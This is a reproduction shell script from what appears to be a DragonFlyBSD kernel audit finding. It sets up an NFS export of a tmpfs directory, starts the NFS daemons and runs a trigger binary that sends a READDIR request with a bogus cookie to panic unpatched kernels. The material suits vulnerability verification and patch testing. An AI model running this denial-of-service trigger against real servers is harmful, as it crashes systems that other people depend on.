DragonFlyBSD Kernel Audit
DF-0779 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0779 run. Reproduces the tmpfs_readdir NFS-cookie panic (DoS).
#
# Preconditions (acceptable per the realism test: "an admin runs the NFS
# server exporting a tmpfs mount"):
#   - rpcbind, mountd, nfsd running
#   - /etc/exports contains a tmpfs directory exported to the attacker
#
# Steps performed as root on the guest:
set -e
cd "$(dirname "$0")"

# 1. PATH A -- local getdents with bogus cookies. EXPECT: graceful return,
#    no panic (local getdents passes cookies=NULL, so the panic block is
#    never entered). Run as unprivileged user to prove the local path is safe.
echo "=== PATH A: local getdents (run as unprivileged user) ==="
./df0779_local /tmp/df0779_dir || true

# 2. PATH B -- the trigger. Needs an NFS-exported tmpfs dir. EXPECT (unpatched):
#    kernel panic at tmpfs_vnops.c:1730, guest dies. EXPECT (patched): clean
#    132-byte READDIR reply, guest survives.
echo "=== setup NFS export of a tmpfs dir ==="
mkdir -p /tmp/df0779_export
touch /tmp/df0779_export/a /tmp/df0779_export/b /tmp/df0779_export/c
chmod 755 /tmp/df0779_export
[ -f /etc/exports ] || cat > /etc/exports <<EOF
/tmp/df0779_export -maproot=root -network 127.0.0.0 -mask 255.0.0.0
EOF
pgrep rpcbind >/dev/null || rpcbind; sleep 1
pgrep mountd >/dev/null || mountd; sleep 1
pgrep nfsd   >/dev/null || nfsd -n 4; sleep 1

echo "=== PATH B: raw NFSv3 READDIR with bogus cookie 0xDEAD (run as root) ==="
./df0779_trigger /tmp/df0779_export 0xDEAD
echo "(if the guest is still up and you got a reply, the kernel is patched;"
echo " if the guest died, capture the panic from the serial boot.log)"